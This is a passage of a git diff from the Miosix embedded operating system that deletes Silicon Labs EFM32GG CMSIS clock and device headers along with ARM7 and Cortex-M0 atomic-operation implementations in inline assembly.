(CMU->HFCORECLKDIV & _CMU_HFCORECLKDIV_HFCORECLKDIV_MASK) >> - _CMU_HFCORECLKDIV_HFCORECLKDIV_SHIFT; - - /* Keep CMSIS variable up-to-date just in case */ - SystemCoreClock = ret; - - return ret; -} - - -/***************************************************************************//** - * @brief - * Get the current HFCLK frequency. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * The current HFCLK frequency in Hz. - ******************************************************************************/ -uint32_t SystemHFClockGet(void) -{ - uint32_t ret; - - switch (CMU->STATUS & (CMU_STATUS_HFRCOSEL | CMU_STATUS_HFXOSEL | - CMU_STATUS_LFRCOSEL | CMU_STATUS_LFXOSEL)) - { - case CMU_STATUS_LFXOSEL: -#if (EFM32_LFXO_FREQ > 0) - ret = SystemLFXOClock; -#else - /* We should not get here, since core should not be clocked. May */ - /* be caused by a misconfiguration though. */ - ret = 0; -#endif - break; - - case CMU_STATUS_LFRCOSEL: - ret = EFM32_LFRCO_FREQ; - break; - - case CMU_STATUS_HFXOSEL: -#if (EFM32_HFXO_FREQ > 0) - ret = SystemHFXOClock; -#else - /* We should not get here, since core should not be clocked. May */ - /* be caused by a misconfiguration though. */ - ret = 0; -#endif - break; - - default: /* CMU_STATUS_HFRCOSEL */ - switch (CMU->HFRCOCTRL & _CMU_HFRCOCTRL_BAND_MASK) - { - case CMU_HFRCOCTRL_BAND_28MHZ: - ret = 28000000; - break; - - case CMU_HFRCOCTRL_BAND_21MHZ: - ret = 21000000; - break; - - case CMU_HFRCOCTRL_BAND_14MHZ: - ret = 14000000; - break; - - case CMU_HFRCOCTRL_BAND_11MHZ: - ret = 11000000; - break; - - case CMU_HFRCOCTRL_BAND_7MHZ: - if ( GetProdRev() >= 19 ) - ret = 6600000; - else - ret = 7000000; - break; - - case CMU_HFRCOCTRL_BAND_1MHZ: - if ( GetProdRev() >= 19 ) - ret = 1200000; - else - ret = 1000000; - break; - - default: - ret = 0; - break; - } - break; - } - - return ret; -} - - -/**************************************************************************//** - * @brief - * Get high frequency crystal oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * HFXO frequency in Hz. - *****************************************************************************/ -uint32_t SystemHFXOClockGet(void) -{ - /* External crystal oscillator present? */ -#if (EFM32_HFXO_FREQ > 0) - return SystemHFXOClock; -#else - return 0; -#endif -} - - -/**************************************************************************//** - * @brief - * Set high frequency crystal oscillator clock frequency for target system. - * - * @note - * This function is mainly provided for being able to handle target systems - * with different HF crystal oscillator frequencies run-time. If used, it - * should probably only be used once during system startup. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @param[in] freq - * HFXO frequency in Hz used for target. - *****************************************************************************/ -void SystemHFXOClockSet(uint32_t freq) -{ - /* External crystal oscillator present? */ -#if (EFM32_HFXO_FREQ > 0) - SystemHFXOClock = freq; - - /* Update core clock frequency if HFXO is used to clock core */ - if (CMU->STATUS & CMU_STATUS_HFXOSEL) - { - /* The function will update the global variable */ - SystemCoreClockGet(); - } -#else - (void)freq; /* Unused parameter */ -#endif -} - - -/**************************************************************************//** - * @brief - * Initialize the system. - * - * @details - * Do required generic HW system init. - * - * @note - * This function is invoked during system init, before the main() routine - * and any data has been initialized. For this reason, it cannot do any - * initialization of variables etc. - *****************************************************************************/ -void SystemInit(void) -{ -} - - -/**************************************************************************//** - * @brief - * Get low frequency RC oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * LFRCO frequency in Hz. - *****************************************************************************/ -uint32_t SystemLFRCOClockGet(void) -{ - /* Currently we assume that this frequency is properly tuned during */ - /* manufacturing and is not changed after reset. If future requirements */ - /* for re-tuning by user, we can add support for that. */ - return EFM32_LFRCO_FREQ; -} - - -/**************************************************************************//** - * @brief - * Get ultra low frequency RC oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * ULFRCO frequency in Hz. - *****************************************************************************/ -uint32_t SystemULFRCOClockGet(void) -{ - /* The ULFRCO frequency is not tuned, and can be very inaccurate */ - return EFM32_ULFRCO_FREQ; -} - - -/**************************************************************************//** - * @brief - * Get low frequency crystal oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * LFXO frequency in Hz. - *****************************************************************************/ -uint32_t SystemLFXOClockGet(void) -{ - /* External crystal oscillator present? */ -#if (EFM32_LFXO_FREQ > 0) - return SystemLFXOClock; -#else - return 0; -#endif -} - - -/**************************************************************************//** - * @brief - * Set low frequency crystal oscillator clock frequency for target system. - * - * @note - * This function is mainly provided for being able to handle target systems - * with different HF crystal oscillator frequencies run-time. If used, it - * should probably only be used once during system startup. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @param[in] freq - * LFXO frequency in Hz used for target. - *****************************************************************************/ -void SystemLFXOClockSet(uint32_t freq) -{ - /* External crystal oscillator present? */ -#if (EFM32_LFXO_FREQ > 0) - SystemLFXOClock = freq; - - /* Update core clock frequency if LFXO is used to clock core */ - if (CMU->STATUS & CMU_STATUS_LFXOSEL) - { - /* The function will update the global variable */ - SystemCoreClockGet(); - } -#else - (void)freq; /* Unused parameter */ -#endif -} diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/em_device.h b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/em_device.h deleted file mode 100644 index d839f5392..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/em_device.h +++ /dev/null @@ -1,176 +0,0 @@ -/**************************************************************************//** - * @file em_device.h - * @brief CMSIS Cortex-M Peripheral Access Layer for Silicon Laboratories - * microcontroller devices - * - * This is a convenience header file for defining the part number on the - * build command line, instead of specifying the part specific header file. - * - * @verbatim - * Example: Add "-DEFM32G890F128" to your build options, to define part - * Add "#include "em_device.h" to your source files - * - * - * @endverbatim - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#ifndef __SILICON_LABS_EM_DEVICE_H__ -#define __SILICON_LABS_EM_DEVICE_H__ - -#if defined(EFM32GG230F1024) -#include "efm32gg230f1024.h" - -#elif defined(EFM32GG230F512) -#include "efm32gg230f512.h" - -#elif defined(EFM32GG232F1024) -#include "efm32gg232f1024.h" - -#elif defined(EFM32GG232F512) -#include "efm32gg232f512.h" - -#elif defined(EFM32GG280F1024) -#include "efm32gg280f1024.h" - -#elif defined(EFM32GG280F512) -#include "efm32gg280f512.h" - -#elif defined(EFM32GG290F1024) -#include "efm32gg290f1024.h" - -#elif defined(EFM32GG290F512) -#include "efm32gg290f512.h" - -#elif defined(EFM32GG295F1024) -#include "efm32gg295f1024.h" - -#elif defined(EFM32GG295F512) -#include "efm32gg295f512.h" - -#elif defined(EFM32GG330F1024) -#include "efm32gg330f1024.h" - -#elif defined(EFM32GG330F512) -#include "efm32gg330f512.h" - -#elif defined(EFM32GG332F1024) -#include "efm32gg332f1024.h" - -#elif defined(EFM32GG332F512) -#include "efm32gg332f512.h" - -#elif defined(EFM32GG380F1024) -#include "efm32gg380f1024.h" - -#elif defined(EFM32GG380F512) -#include "efm32gg380f512.h" - -#elif defined(EFM32GG390F1024) -#include "efm32gg390f1024.h" - -#elif defined(EFM32GG390F512) -#include "efm32gg390f512.h" - -#elif defined(EFM32GG395F1024) -#include "efm32gg395f1024.h" - -#elif defined(EFM32GG395F512) -#include "efm32gg395f512.h" - -#elif defined(EFM32GG840F1024) -#include "efm32gg840f1024.h" - -#elif defined(EFM32GG840F512) -#include "efm32gg840f512.h" - -#elif defined(EFM32GG842F1024) -#include "efm32gg842f1024.h" - -#elif defined(EFM32GG842F512) -#include "efm32gg842f512.h" - -#elif defined(EFM32GG880F1024) -#include "efm32gg880f1024.h" - -#elif defined(EFM32GG880F512) -#include "efm32gg880f512.h" - -#elif defined(EFM32GG890F1024) -#include "efm32gg890f1024.h" - -#elif defined(EFM32GG890F512) -#include "efm32gg890f512.h" - -#elif defined(EFM32GG895F1024) -#include "efm32gg895f1024.h" - -#elif defined(EFM32GG895F512) -#include "efm32gg895f512.h" - -#elif defined(EFM32GG900F1024) -#include "efm32gg900f1024.h" - -#elif defined(EFM32GG900F512) -#include "efm32gg900f512.h" - -#elif defined(EFM32GG940F1024) -#include "efm32gg940f1024.h" - -#elif defined(EFM32GG940F512) -#include "efm32gg940f512.h" - -#elif defined(EFM32GG942F1024) -#include "efm32gg942f1024.h" - -#elif defined(EFM32GG942F512) -#include "efm32gg942f512.h" - -#elif defined(EFM32GG980F1024) -#include "efm32gg980f1024.h" - -#elif defined(EFM32GG980F512) -#include "efm32gg980f512.h" - -#elif defined(EFM32GG990F1024) -#include "efm32gg990f1024.h" - -#elif defined(EFM32GG990F512) -#include "efm32gg990f512.h" - -#elif defined(EFM32GG995F1024) -#include "efm32gg995f1024.h" - -#elif defined(EFM32GG995F512) -#include "efm32gg995f512.h" - -#else -#error "em_device.h: PART NUMBER undefined" -#endif -#endif /* __SILICON_LABS_EM_DEVICE_H__ */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/system_efm32gg.h b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/system_efm32gg.h deleted file mode 100644 index 91e264bb0..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/system_efm32gg.h +++ /dev/null @@ -1,141 +0,0 @@ -/***************************************************************************//** - * @file system_efm32gg.h - * @brief CMSIS Cortex-M3 System Layer for EFM32GG devices. - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#ifndef __SILICON_LABS_SYSTEM_EFM32GG_H__ -#define __SILICON_LABS_SYSTEM_EFM32GG_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -/******************************************************************************* - ************************** GLOBAL VARIABLES ******************************* - ******************************************************************************/ - -extern uint32_t SystemCoreClock; /**< System Clock Frequency (Core Clock) */ - -/******************************************************************************* - ***************************** PROTOTYPES ********************************** - ******************************************************************************/ - -/* Interrupt routines - prototypes */ -//By TFT: we don't want those in an extern "C" block under Miosix -#if 0 -#if defined(_EFM32_GIANT_FAMILY) -void Reset_Handler(void); -void NMI_Handler(void); -void HardFault_Handler(void); -void MemManage_Handler(void); -void BusFault_Handler(void); -void UsageFault_Handler(void); -void SVC_Handler(void); -void DebugMon_Handler(void); -void PendSV_Handler(void); -void SysTick_Handler(void); -void DMA_IRQHandler(void); -void GPIO_EVEN_IRQHandler(void); -void TIMER0_IRQHandler(void); -void USART0_RX_IRQHandler(void); -void USART0_TX_IRQHandler(void); -void USB_IRQHandler(void); -void ACMP0_IRQHandler(void); -void ADC0_IRQHandler(void); -void DAC0_IRQHandler(void); -void I2C0_IRQHandler(void); -void I2C1_IRQHandler(void); -void GPIO_ODD_IRQHandler(void); -void TIMER1_IRQHandler(void); -void TIMER2_IRQHandler(void); -void TIMER3_IRQHandler(void); -void USART1_RX_IRQHandler(void); -void USART1_TX_IRQHandler(void); -void LESENSE_IRQHandler(void); -void USART2_RX_IRQHandler(void); -void USART2_TX_IRQHandler(void); -void UART0_RX_IRQHandler(void); -void UART0_TX_IRQHandler(void); -void UART1_RX_IRQHandler(void); -void UART1_TX_IRQHandler(void); -void LEUART0_IRQHandler(void); -void LEUART1_IRQHandler(void); -void LETIMER0_IRQHandler(void); -void PCNT0_IRQHandler(void); -void PCNT1_IRQHandler(void); -void PCNT2_IRQHandler(void); -void RTC_IRQHandler(void); -void BURTC_IRQHandler(void); -void CMU_IRQHandler(void); -void VCMP_IRQHandler(void); -void LCD_IRQHandler(void); -void MSC_IRQHandler(void); -void AES_IRQHandler(void); -void EBI_IRQHandler(void); -void EMU_IRQHandler(void); -#endif -#endif - -uint32_t SystemCoreClockGet(void); - -/**************************************************************************//** - * @brief - * Update CMSIS SystemCoreClock variable. - * - * @details - * CMSIS defines a global variable SystemCoreClock that shall hold the - * core frequency in Hz. If the core frequency is dynamically changed, the - * variable must be kept updated in order to be CMSIS compliant. - * - * Notice that if only changing core clock frequency through the EFM32 CMU - * API, this variable will be kept updated. This function is only provided - * for CMSIS compliance and if a user modifies the the core clock outside - * the CMU API. - *****************************************************************************/ -static __INLINE void SystemCoreClockUpdate(void) -{ - SystemCoreClockGet(); -} - -void SystemInit(void); -uint32_t SystemHFClockGet(void); -uint32_t SystemHFXOClockGet(void); -void SystemHFXOClockSet(uint32_t freq); -uint32_t SystemLFRCOClockGet(void); -uint32_t SystemULFRCOClockGet(void); -uint32_t SystemLFXOClockGet(void); -void SystemLFXOClockSet(uint32_t freq); - -#ifdef __cplusplus -} -#endif -#endif /* __SILICON_LABS_SYSTEM_EFM32GG_H__ */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Source/system_efm32gg.c b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Source/system_efm32gg.c deleted file mode 100644 index 96a181cff..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Source/system_efm32gg.c +++ /dev/null @@ -1,387 +0,0 @@ -/***************************************************************************//** - * @file system_efm32gg.c - * @brief CMSIS Cortex-M3 System Layer for EFM32GG devices. - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#include -//By TFT: was #include "em_device.h", but the specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" - -/******************************************************************************* - ****************************** DEFINES ************************************ - ******************************************************************************/ - -/** LFRCO frequency, tuned to below frequency during manufacturing. */ -#define EFM32_LFRCO_FREQ (32768UL) -#define EFM32_ULFRCO_FREQ (1000UL) - -/******************************************************************************* - ************************** LOCAL VARIABLES ******************************** - ******************************************************************************/ - -/* System oscillator frequencies. These frequencies are normally constant */ -/* for a target, but they are made configurable in order to allow run-time */ -/* handling of different boards. The crystal oscillator clocks can be set */ -/* compile time to a non-default value by defining respective EFM32_nFXO_FREQ */ -/* values according to board design. By defining the EFM32_nFXO_FREQ to 0, */ -/* one indicates that the oscillator is not present, in order to save some */ -/* SW footprint. */ - -#ifndef EFM32_HFXO_FREQ -#ifdef _EFM32_GIANT_FAMILY -#define EFM32_HFXO_FREQ (48000000UL) -#else -#define EFM32_HFXO_FREQ (32000000UL) -#endif -#endif -/* Do not define variable if HF crystal oscillator not present */ -#if (EFM32_HFXO_FREQ > 0) -/** @cond DO_NOT_INCLUDE_WITH_DOXYGEN */ -/** System HFXO clock. */ -static uint32_t SystemHFXOClock = EFM32_HFXO_FREQ; -/** @endcond (DO_NOT_INCLUDE_WITH_DOXYGEN) */ -#endif - -#ifndef EFM32_LFXO_FREQ -#define EFM32_LFXO_FREQ (EFM32_LFRCO_FREQ) -#endif -/* Do not define variable if LF crystal oscillator not present */ -#if (EFM32_LFXO_FREQ > 0) -/** @cond DO_NOT_INCLUDE_WITH_DOXYGEN */ -/** System LFXO clock. */ -static uint32_t SystemLFXOClock = EFM32_LFXO_FREQ; -/** @endcond (DO_NOT_INCLUDE_WITH_DOXYGEN) */ -#endif - -/* Inline function to get the chip's Production Revision. */ -__STATIC_INLINE uint8_t GetProdRev(void) -{ - return ((DEVINFO->PART & _DEVINFO_PART_PROD_REV_MASK) - >> _DEVINFO_PART_PROD_REV_SHIFT); -} - -/******************************************************************************* - ************************** GLOBAL VARIABLES ******************************* - ******************************************************************************/ - -/** - * @brief - * System System Clock Frequency (Core Clock). - * - * @details - * Required CMSIS global variable that must be kept up-to-date. - */ -uint32_t SystemCoreClock; - -/******************************************************************************* - ************************** GLOBAL FUNCTIONS ******************************* - ******************************************************************************/ - -/***************************************************************************//** - * @brief - * Get the current core clock frequency. - * - * @details - * Calculate and get the current core clock frequency based on the current - * configuration. Assuming that the SystemCoreClock global variable is - * maintained, the core clock frequency is stored in that variable as well. - * This function will however calculate the core clock based on actual HW - * configuration. It will also update the SystemCoreClock global variable. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * The current core clock frequency in Hz. - ******************************************************************************/ -uint32_t SystemCoreClockGet(void) -{ - uint32_t ret; - - ret = SystemHFClockGet(); -#if defined (_EFM32_GIANT_FAMILY) - /* Leopard/Giant Gecko has an additional divider */ - ret = ret / (1 + ((CMU->CTRL & _CMU_CTRL_HFCLKDIV_MASK)>>_CMU_CTRL_HFCLKDIV_SHIFT)); -#endif - ret >>= (CMU->HFCORECLKDIV & _CMU_HFCORECLKDIV_HFCORECLKDIV_MASK) >> - _CMU_HFCORECLKDIV_HFCORECLKDIV_SHIFT; - - /* Keep CMSIS variable up-to-date just in case */ - SystemCoreClock = ret; - - return ret; -} - - -/***************************************************************************//** - * @brief - * Get the current HFCLK frequency. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * The current HFCLK frequency in Hz. - ******************************************************************************/ -uint32_t SystemHFClockGet(void) -{ - uint32_t ret; - - switch (CMU->STATUS & (CMU_STATUS_HFRCOSEL | CMU_STATUS_HFXOSEL | - CMU_STATUS_LFRCOSEL | CMU_STATUS_LFXOSEL)) - { - case CMU_STATUS_LFXOSEL: -#if (EFM32_LFXO_FREQ > 0) - ret = SystemLFXOClock; -#else - /* We should not get here, since core should not be clocked. May */ - /* be caused by a misconfiguration though. */ - ret = 0; -#endif - break; - - case CMU_STATUS_LFRCOSEL: - ret = EFM32_LFRCO_FREQ; - break; - - case CMU_STATUS_HFXOSEL: -#if (EFM32_HFXO_FREQ > 0) - ret = SystemHFXOClock; -#else - /* We should not get here, since core should not be clocked. May */ - /* be caused by a misconfiguration though. */ - ret = 0; -#endif - break; - - default: /* CMU_STATUS_HFRCOSEL */ - switch (CMU->HFRCOCTRL & _CMU_HFRCOCTRL_BAND_MASK) - { - case CMU_HFRCOCTRL_BAND_28MHZ: - ret = 28000000; - break; - - case CMU_HFRCOCTRL_BAND_21MHZ: - ret = 21000000; - break; - - case CMU_HFRCOCTRL_BAND_14MHZ: - ret = 14000000; - break; - - case CMU_HFRCOCTRL_BAND_11MHZ: - ret = 11000000; - break; - - case CMU_HFRCOCTRL_BAND_7MHZ: - if ( GetProdRev() >= 19 ) - ret = 6600000; - else - ret = 7000000; - break; - - case CMU_HFRCOCTRL_BAND_1MHZ: - if ( GetProdRev() >= 19 ) - ret = 1200000; - else - ret = 1000000; - break; - - default: - ret = 0; - break; - } - break; - } - - return ret; -} - - -/**************************************************************************//** - * @brief - * Get high frequency crystal oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * HFXO frequency in Hz. - *****************************************************************************/ -uint32_t SystemHFXOClockGet(void) -{ - /* External crystal oscillator present? */ -#if (EFM32_HFXO_FREQ > 0) - return SystemHFXOClock; -#else - return 0; -#endif -} - - -/**************************************************************************//** - * @brief - * Set high frequency crystal oscillator clock frequency for target system. - * - * @note - * This function is mainly provided for being able to handle target systems - * with different HF crystal oscillator frequencies run-time. If used, it - * should probably only be used once during system startup. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @param[in] freq - * HFXO frequency in Hz used for target. - *****************************************************************************/ -void SystemHFXOClockSet(uint32_t freq) -{ - /* External crystal oscillator present? */ -#if (EFM32_HFXO_FREQ > 0) - SystemHFXOClock = freq; - - /* Update core clock frequency if HFXO is used to clock core */ - if (CMU->STATUS & CMU_STATUS_HFXOSEL) - { - /* The function will update the global variable */ - SystemCoreClockGet(); - } -#else - (void)freq; /* Unused parameter */ -#endif -} - - -/**************************************************************************//** - * @brief - * Initialize the system. - * - * @details - * Do required generic HW system init. - * - * @note - * This function is invoked during system init, before the main() routine - * and any data has been initialized. For this reason, it cannot do any - * initialization of variables etc. - *****************************************************************************/ -void SystemInit(void) -{ -} - - -/**************************************************************************//** - * @brief - * Get low frequency RC oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * LFRCO frequency in Hz. - *****************************************************************************/ -uint32_t SystemLFRCOClockGet(void) -{ - /* Currently we assume that this frequency is properly tuned during */ - /* manufacturing and is not changed after reset. If future requirements */ - /* for re-tuning by user, we can add support for that. */ - return EFM32_LFRCO_FREQ; -} - - -/**************************************************************************//** - * @brief - * Get ultra low frequency RC oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * ULFRCO frequency in Hz. - *****************************************************************************/ -uint32_t SystemULFRCOClockGet(void) -{ - /* The ULFRCO frequency is not tuned, and can be very inaccurate */ - return EFM32_ULFRCO_FREQ; -} - - -/**************************************************************************//** - * @brief - * Get low frequency crystal oscillator clock frequency for target system. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * LFXO frequency in Hz. - *****************************************************************************/ -uint32_t SystemLFXOClockGet(void) -{ - /* External crystal oscillator present? */ -#if (EFM32_LFXO_FREQ > 0) - return SystemLFXOClock; -#else - return 0; -#endif -} - - -/**************************************************************************//** - * @brief - * Set low frequency crystal oscillator clock frequency for target system. - * - * @note - * This function is mainly provided for being able to handle target systems - * with different HF crystal oscillator frequencies run-time. If used, it - * should probably only be used once during system startup. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @param[in] freq - * LFXO frequency in Hz used for target. - *****************************************************************************/ -void SystemLFXOClockSet(uint32_t freq) -{ - /* External crystal oscillator present? */ -#if (EFM32_LFXO_FREQ > 0) - SystemLFXOClock = freq; - - /* Update core clock frequency if LFXO is used to clock core */ - if (CMU->STATUS & CMU_STATUS_LFXOSEL) - { - /* The function will update the global variable */ - SystemCoreClockGet(); - } -#else - (void)freq; /* Unused parameter */ -#endif -} diff --git a/miosix/arch/common/core/atomic_ops_impl_arm7.h b/miosix/arch/common/core/atomic_ops_impl_arm7.h deleted file mode 100644 index 02a25a09d..000000000 --- a/miosix/arch/common/core/atomic_ops_impl_arm7.h +++ /dev/null @@ -1,119 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef ATOMIC_OPS_IMPL_H -#define ATOMIC_OPS_IMPL_H - -namespace miosix { - -inline int atomicSwap(volatile int *p, int v) -{ - //This is the only atomic operation in the ARM7 assembler - register int result; - asm volatile("swp %0, %1, [%2]" : "=&r"(result) : "r"(v),"r"(p) : "memory"); - return result; -} - -inline void atomicAdd(volatile int *p, int incr) -{ - register int a,b; //Temporaries used by ASM code - asm volatile(" mrs %0, cpsr \n" - " tst %0, #0x80 \n" - " orreq %1, %0, #0x80 \n" - " msreq cpsr_c, %1 \n" - " ldr %1, [%3] \n" - " add %1, %1, %2 \n" - " str %1, [%3] \n" - " tst %0, #0x80 \n" - " msreq cpsr_c, %0 \n" - : "=&r"(a),"=&r"(b) - : "r"(incr),"r"(p) - : "cc","memory"); -} - -inline int atomicAddExchange(volatile int *p, int incr) -{ - register int a; //Temporaries used by ASM code - register int result; - asm volatile(" mrs %0, cpsr \n" - " tst %0, #0x80 \n" - " orreq %1, %0, #0x80 \n" - " msreq cpsr_c, %1 \n" - " ldr %1, [%3] \n" - " add %2, %2, %1 \n" - " str %2, [%3] \n" - " tst %0, #0x80 \n" - " msreq cpsr_c, %0 \n" - : "=&r"(a),"=&r"(result),"+&r"(incr)//Incr is read and clobbered - : "r"(p) - : "cc","memory"); - return result; -} - -inline int atomicCompareAndSwap(volatile int *p, int prev, int next) -{ - register int a; //Temporaries used by ASM code - register int result; - asm volatile(" mrs %0, cpsr \n" - " tst %0, #0x80 \n" - " orreq %1, %0, #0x80 \n" - " msreq cpsr_c, %1 \n" - " ldr %1, [%2] \n" - " cmp %1, %3 \n" - " streq %4, [%2] \n" - " tst %0, #0x80 \n" - " msreq cpsr_c, %0 \n" - : "=&r"(a),"=&r"(result) - : "r"(p),"r"(prev),"r"(next) - : "cc","memory"); - return result; -} - -inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, - int incr) -{ - register int a,b; //Temporaries used by ASM code - register void *result; - asm volatile(" mrs %0, cpsr \n" - " tst %0, #0x80 \n" - " orreq %1, %0, #0x80 \n" - " msreq cpsr_c, %1 \n" - " ldr %2, [%3] \n" - " ldr %1, [%2, %4, asl #2] \n" - " add %1, %1, %5 \n" - " str %1, [%2, %4, asl #2] \n" - " tst %0, #0x80 \n" - " msreq cpsr_c, %0 \n" - : "=&r"(a),"=&r"(b),"=&r"(result) - : "r"(p),"r"(offset),"r"(incr) - : "cc","memory"); - return result; -} - -} //namespace miosix - -#endif //ATOMIC_OPS_IMPL_H diff --git a/miosix/arch/common/core/atomic_ops_impl_cortexM0.h b/miosix/arch/common/core/atomic_ops_impl_cortexM0.h deleted file mode 100644 index 8210b695b..000000000 --- a/miosix/arch/common/core/atomic_ops_impl_cortexM0.h +++ /dev/null @@ -1,106 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef ATOMIC_OPS_IMPL_M0_H -#define ATOMIC_OPS_IMPL_M0_H - -/** - * Cortex M0/M0+ architectures does not support __LDREXW, __STREXW and __CLREX - * instructions, so we have to redefine the atomic operations using functions - * that disable the interrupts. - * - * TODO: actually this implementation is not very efficient - * - */ - -#include "interfaces/arch_registers.h" - -namespace miosix { - -// Can't include kernel.h as it would cause an include loop -void disableInterrupts(); -void enableInterrupts(); - -inline int atomicSwap(volatile int *p, int v) -{ - disableInterrupts(); - int result = *p; - *p = v; - enableInterrupts(); - asm volatile("":::"memory"); - return result; -} - -inline void atomicAdd(volatile int *p, int incr) -{ - disableInterrupts(); - *p += incr; - 